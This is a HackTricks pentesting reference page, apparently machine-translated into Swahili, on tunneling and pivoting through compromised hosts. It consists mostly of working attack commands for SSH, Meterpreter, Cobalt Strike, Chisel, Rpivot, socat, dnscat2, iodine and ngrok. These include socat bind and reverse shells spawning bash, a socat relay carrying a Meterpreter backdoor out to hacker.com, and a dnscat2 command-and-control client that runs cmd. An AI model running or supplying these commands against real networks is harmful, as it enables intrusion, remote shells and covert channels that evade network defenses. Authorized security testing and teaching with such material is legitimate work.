# Tunneling and Port Forwarding {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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{% endhint %} **Try Hard Security Group**
{% embed url="https://discord.gg/tryhardsecurity" %} *** ## Nmap tip {% hint style="warning" %} **ICMP** na **SYN** skana haiwezi kupitishwa kupitia socks proxies, hivyo lazima **tuondoe ping discovery** (`-Pn`) na kubaini **TCP skana** (`-sT`) ili hii ifanye kazi. {% endhint %} ## **Bash** **Host -> Jump -> InternalA -> InternalB** ```bash # On the jump server connect the port 3333 to the 5985 mknod backpipe p; nc -lvnp 5985 0backpipe # On InternalA accessible from Jump and can access InternalB ## Expose port 3333 and connect it to the winrm port of InternalB exec 3<>/dev/tcp/internalB/5985 exec 4<>/dev/tcp/Jump/3333 cat <&3 >&4 & cat <&4 >&3 & # From the host, you can now access InternalB from the Jump server evil-winrm -u username -i Jump ``` ## **SSH** SSH muunganisho wa picha (X) ```bash ssh -Y -C @ #-Y is less secure but faster than -X ``` ### Local Port2Port Fungua Bandari Mpya kwenye SSH Server --> Bandari nyingine ```bash ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere ``` ```bash ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere ``` ### Port2Port Porti za ndani --> Kituo kilichovunjwa (SSH) --> Sanduku\_tatu:Port ```bash ssh -i ssh_key @ -L :: [-p ] [-N -f] #This way the terminal is still in your host #Example sudo ssh -L 631::631 -N -f -l ``` ### Port2hostnet (proxychains) Porti za ndani --> Kituo kilichovunjwa (SSH) --> Popote ```bash ssh -f -N -D @ #All sent to local port will exit through the compromised server (use as proxy) ``` ### Reverse Port Forwarding Hii ni muhimu kupata reverse shells kutoka kwa mwenyeji wa ndani kupitia DMZ hadi mwenyeji wako: ```bash ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN # Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000 # Note that port 443 must be open # Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems # and change the line "GatewayPorts no" to "GatewayPorts yes" # to be able to make ssh listen in non internal interfaces in the victim (443 in this case) ``` ### VPN-Tunnel Unahitaji **root katika vifaa vyote viwili** (kama unavyotaka kuunda interfaces mpya) na usanidi wa sshd lazima uruhusu kuingia kwa root:\ `PermitRootLogin yes`\ `PermitTunnel yes` ```bash ssh root@server -w any:any #This will create Tun interfaces in both devices ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP ifconfig tun0 up #Activate the client side network interface ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP ifconfig tun0 up #Activate the server side network interface ``` Wezesha upitishaji upande wa Server ```bash echo 1 > /proc/sys/net/ipv4/ip_forward iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE ``` Weka njia mpya upande wa mteja ``` route add -net 10.0.0.0/16 gw 1.1.1.1 ``` ## SSHUTTLE Unaweza **tunnel** kupitia **ssh** kila **traffic** kwenda **subnetwork** kupitia mwenyeji.\ Kwa mfano, kupeleka kila traffic inayokwenda 10.10.10.0/24 ```bash pip install sshuttle sshuttle -r user@host 10.10.10.10/24 ``` Kuungana na ufunguo wa kibinafsi ```bash sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa' # -D : Daemon mode ``` ## Meterpreter ### Port2Port Bandari ya ndani --> Kituo kilichoshambuliwa (sehemu inayofanya kazi) --> Sanduku\_tatu:Bandari ```bash # Inside a meterpreter session portfwd add -l -p -r ``` ### SOCKS ```bash background# meterpreter session route add # (ex: route add 10.10.10.14 255.255.255.0 8) use auxiliary/server/socks_proxy run #Proxy port 1080 by default echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ``` Njia nyingine: ```bash background #meterpreter session use post/multi/manage/autoroute set SESSION set SUBNET #Ex: set SUBNET 10.1.13.0 set NETMASK run use auxiliary/server/socks_proxy set VERSION 4a run #Proxy port 1080 by default echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ``` ## Cobalt Strike ### SOCKS proxy Fungua bandari katika teamserver inayosikiliza kwenye interfaces zote ambazo zinaweza kutumika **kuelekeza trafiki kupitia beacon**. ```bash beacon> socks 1080 [+] started SOCKS4a server on: 1080 # Set port 1080 as proxy server in proxychains.conf proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25 ``` ### rPort2Port {% hint style="warning" %} Katika kesi hii, **bandari imefunguliwa katika mwenyeji wa beacon**, sio katika Server ya Timu na trafiki inatumwa kwa Server ya Timu na kutoka hapo kwa mwenyeji:bandari iliyoonyeshwa. {% endhint %} ```bash rportfwd [bind port] [forward host] [forward port] rportfwd stop [bind port] ``` To note: - Reverse port forward ya Beacon imeundwa ili **kufanya tunneling ya trafiki kwa Server ya Timu, sio kwa kuhamasisha kati ya mashine binafsi**. - Trafiki ni **tunneled ndani ya trafiki ya C2 ya Beacon**, ikiwa ni pamoja na viungo vya P2P. - **Haki za admin hazihitajiki** kuunda reverse port forwards kwenye port za juu. ### rPort2Port local {% hint style="warning" %} Katika kesi hii, **port imefunguliwa katika mwenyeji wa beacon**, sio katika Server ya Timu na **trafiki inatumwa kwa mteja wa Cobalt Strike** (sio kwa Server ya Timu) na kutoka hapo kwa mwenyeji:port iliyoonyeshwa. {% endhint %} ``` rportfwd_local [bind port] [forward host] [forward port] rportfwd_local stop [bind port] ``` ## reGeorg [https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg) Unahitaji kupakia faili ya wavuti ya tunnel: ashx|aspx|js|jsp|php|php|jsp ```bash python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp ``` ## Chisel Unaweza kuipakua kutoka kwenye ukurasa wa toleo wa [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\ Unahitaji kutumia **toleo sawa kwa mteja na seva** ### socks ```bash ./chisel server -p 8080 --reverse #Server -- Attacker ./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim #And now you can use proxychains with port 1080 (default) ./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed) ./chisel client -v 10.10.10.10:8080 socks #Attacker ``` ### Uelekezaji wa bandari ```bash ./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker ./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim ``` ## Rpivot [https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot) Tunneli ya kurudi. Tunneli inaanza kutoka kwa mwathirika.\ Proxy ya socks4 inaundwa kwenye 127.0.0.1:1080 ```bash attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080 ``` ```bash victim> python client.py --server-ip --server-port 9999 ``` Pivot kupitia **NTLM proxy** ```bash victim> python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd ``` ```bash victim> python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45 ``` ## **Socat** [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries) ### Bind shell ```bash victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane attacker> socat FILE:`tty`,raw,echo=0 TCP4::1337 ``` ### Reverse shell ```bash attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 victim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane ``` ### Port2Port ```bash socat TCP4-LISTEN:,fork TCP4:: & ``` ### Port2Port kupitia socks ```bash socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678 ``` ### Meterpreter kupitia SSL Socat ```bash #Create meterpreter backdoor to port 3333 and start msfconsole listener in that port attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333 ``` ```bash victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5 #Execute the meterpreter ``` Unaweza kupita **proxy isiyo na uthibitisho** ukitekeleza mstari huu badala ya wa mwisho kwenye konso ya mwathiriwa: ```bash OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5 ``` [https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/) ### SSL Socat Tunnel **/bin/sh console** Unda vyeti pande zote mbili: Mteja na Server ```bash # Execute these commands on both sides FILENAME=socatssl openssl genrsa -out $FILENAME.key 1024 openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt cat $FILENAME.key $FILENAME.crt >$FILENAME.pem chmod 600 $FILENAME.key $FILENAME.pem ``` ```bash attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt ``` ### Remote Port2Port Unganisha bandari ya SSH ya ndani (22) na bandari ya 443 ya mwenyeji wa mshambuliaji ```bash attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost victim> while true; do socat TCP4::443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22 attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim ``` ## Plink.exe Ni kama toleo la console la PuTTY (chaguzi ni sawa na mteja wa ssh). Kwa kuwa hii binary itatekelezwa kwenye mwathirika na ni mteja wa ssh, tunahitaji kufungua huduma yetu ya ssh na bandari ili tuweze kuwa na muunganisho wa kurudi. Kisha, ili kupeleka tu bandari inayoweza kufikiwa ndani ya eneo la kazi hadi bandari kwenye mashine yetu: ```bash echo y | plink.exe -l -pw [-p ] -R :: echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090 ``` ## Windows netsh ### Port2Port Unahitaji kuwa msimamizi wa ndani (kwa bandari yoyote) ```bash netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp # Example: netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.10.10 connectport=4444 # Check the port forward was created: netsh interface portproxy show v4tov4 # Delete port forward netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444 ``` ## SocksOverRDP & Proxifier Unahitaji kuwa na **RDP access juu ya mfumo**.\ Pakua: 1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Chombo hiki kinatumia `Dynamic Virtual Channels` (`DVC`) kutoka kwa kipengele cha Remote Desktop Service cha Windows. DVC inawajibika kwa **tunneling packets juu ya RDP connection**. 2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab) Katika kompyuta yako ya mteja pakia **`SocksOverRDP-Plugin.dll`** kama ifuatavyo: ```bash # Load SocksOverRDP.dll using regsvr32.exe C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll ``` Sasa tunaweza **kuunganisha** na **mhasiriwa** kupitia **RDP** kwa kutumia **`mstsc.exe`**, na tunapaswa kupokea **kipeperushi** kinachosema kwamba **SocksOverRDP plugin imewezeshwa**, na itakuwa **inaskiliza** kwenye **127.0.0.1:1080**. **Unganisha** kupitia **RDP** na pakia & tekeleza kwenye mashine ya mhasiriwa `SocksOverRDP-Server.exe` binary: ``` C:\SocksOverRDP-x64> SocksOverRDP-Server.exe ``` Sasa, thibitisha kwenye mashine yako (mshambuliaji) kwamba bandari 1080 inasikiliza: ``` netstat -antb | findstr 1080 ``` Sasa unaweza kutumia [**Proxifier**](https://www.proxifier.com/) **kupanua trafiki kupitia bandari hiyo.** ## Proxify Windows GUI Apps Unaweza kufanya programu za Windows GUI zipitie proxy kwa kutumia [**Proxifier**](https://www.proxifier.com/).\ Katika **Profile -> Proxy Servers** ongeza IP na bandari ya seva ya SOCKS.\ Katika **Profile -> Proxification Rules** ongeza jina la programu ya kupanua na muunganisho kwa IP unazotaka kupanua. ## NTLM proxy bypass Kifaa kilichotajwa hapo awali: **Rpivot**\ **OpenVPN** pia kinaweza kupita, kuweka chaguzi hizi katika faili la usanidi: ```bash http-proxy 8080 ntlm ``` ### Cntlm [http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/) Inathibitisha dhidi ya proxy na inafunga bandari kwa ndani ambayo inasambazwa kwa huduma ya nje unayoelekeza. Kisha, unaweza kutumia chombo chochote unachokipenda kupitia bandari hii.\ Kwa mfano, inasambaza bandari 443 ``` Username Alice Password P@ssw0rd Domain CONTOSO.COM Proxy 10.0.0.10:8080 Tunnel 2222::443 ``` Sasa, ikiwa utaweka kwa mfano katika mwathirika huduma ya **SSH** kusikiliza kwenye bandari 443. Unaweza kuungana nayo kupitia bandari ya mshambuliaji 2222.\ Unaweza pia kutumia **meterpreter** inayounganisha na localhost:443 na mshambuliaji anasikiliza kwenye bandari 2222. ## YARP Proxy ya kurudi iliyoundwa na Microsoft. Unaweza kuipata hapa: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy) ## DNS Tunneling ### Iodine [https://code.kryo.se/iodine/](https://code.kryo.se/iodine/) Root inahitajika katika mifumo yote miwili ili kuunda tun adapters na kupitisha data kati yao kwa kutumia maswali ya DNS. ``` attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com victim> iodine -f -P P@ssw0rd tunneldomain.com -r #You can see the victim at 1.1.1.2 ``` Tuneli itakuwa polepole sana. Unaweza kuunda muunganisho wa SSH uliofinywa kupitia tuneli hii kwa kutumia: ``` ssh @1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080 ``` ### DNSCat2 [**Pakua kutoka hapa**](https://github.com/iagox86/dnscat2)**.** Inaunda channel ya C\&C kupitia DNS. Haitaji ruhusa za mzizi. ```bash attacker> ruby ./dnscat2.rb tunneldomain.com victim> ./dnscat2 tunneldomain.com # If using it in an internal network for a CTF: attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache victim> ./dnscat2 --dns host=10.10.10.10,port=5353 ``` #### **Katika PowerShell** Unaweza kutumia [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) kuendesha mteja wa dnscat2 katika powershell: ``` Import-Module .\dnscat2.ps1 Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd ``` #### **Kuelekeza bandari kwa kutumia dnscat** ```bash session -i listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host ``` #### Badilisha DNS ya proxychains Proxychains inakamata `gethostbyname` libc call na inatunga ombi la tcp DNS kupitia socks proxy. Kwa **kawaida** seva ya **DNS** ambayo proxychains inatumia ni **4.2.2.2** (imeandikwa kwa nguvu). Ili kubadilisha, hariri faili: _/usr/lib/proxychains3/proxyresolv_ na ubadilishe IP. Ikiwa uko katika **mazingira ya Windows** unaweza kuweka IP ya **meneja wa kikoa**. ## Tunnels katika Go [https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel) ## ICMP Tunneling ### Hans [https://github.com/friedrich/hans](https://github.com/friedrich/hans)\ [https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel) Root inahitajika katika mifumo yote ili kuunda tun adapters na kutunga data kati yao kwa kutumia ombi la ICMP echo. ```bash ./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection) ./hans -f -c -p P@ssw0rd -v ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100 ``` ### ptunnel-ng [**Pakua kutoka hapa**](https://github.com/utoni/ptunnel-ng.git). ```bash # Generate it sudo ./autogen.sh # Server -- victim (needs to be able to receive ICMP) sudo ptunnel-ng # Client - Attacker sudo ptunnel-ng -p -l -r -R # Try to connect with SSH through ICMP tunnel ssh -p 2222 -l user 127.0.0.1 # Create a socks proxy through the SSH connection through the ICMP tunnel ssh -D 9050 -p 2222 -l user 127.0.0.1 ``` ## ngrok **[ngrok](https://ngrok.com/) ni chombo cha kufichua suluhisho kwa Mtandao kwa amri moja.** *URI za kufichua ni kama:* **UID.ngrok.io** ### Usanidi - Tengeneza akaunti: https://ngrok.com/signup - Pakua mteja: ```bash tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin chmod a+x ./ngrok # Init configuration, with your token ./ngrok config edit ``` ### Matumizi Msingi **Hati:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/). *Pia inawezekana kuongeza uthibitisho na TLS, ikiwa ni lazima.* #### Tunneling TCP ```bash # Pointing to 0.0.0.0:4444 ./ngrok tcp 4444 # Example of resulting link: 0.tcp.ngrok.io:12345 # Listen (example): nc -nvlp 4444 # Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345 ``` #### Kufichua faili kwa HTTP ```bash ./ngrok http file:///tmp/httpbin/ # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/ ``` #### Sniffing HTTP calls *Inatumika kwa XSS, SSRF, SSTI ...* Moja kwa moja kutoka stdout au katika kiolesura cha HTTP [http://127.0.0.1:4040](http://127.0.0.1:4000). #### Tunneling internal HTTP service ```bash ./ngrok http localhost:8080 --host-header=rewrite # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/ # With basic auth ./ngrok http localhost:8080 --host-header=rewrite --auth="myuser:mysuperpassword" ``` #### ngrok.yaml mfano rahisi wa usanidi Inafungua miji 3: - 2 TCP - 1 HTTP na uwasilishaji wa faili za kudumu kutoka /tmp/httpbin/ ```yaml tunnels: mytcp: addr: 4444 proto: tcptunne anothertcp: addr: 5555 proto: tcp httpstatic: proto: http addr: file:///tmp/httpbin/ ``` ## Zana nyingine za kuangalia * [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf) * [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy) **Jaribu Kikundi cha Usalama wa Juu**
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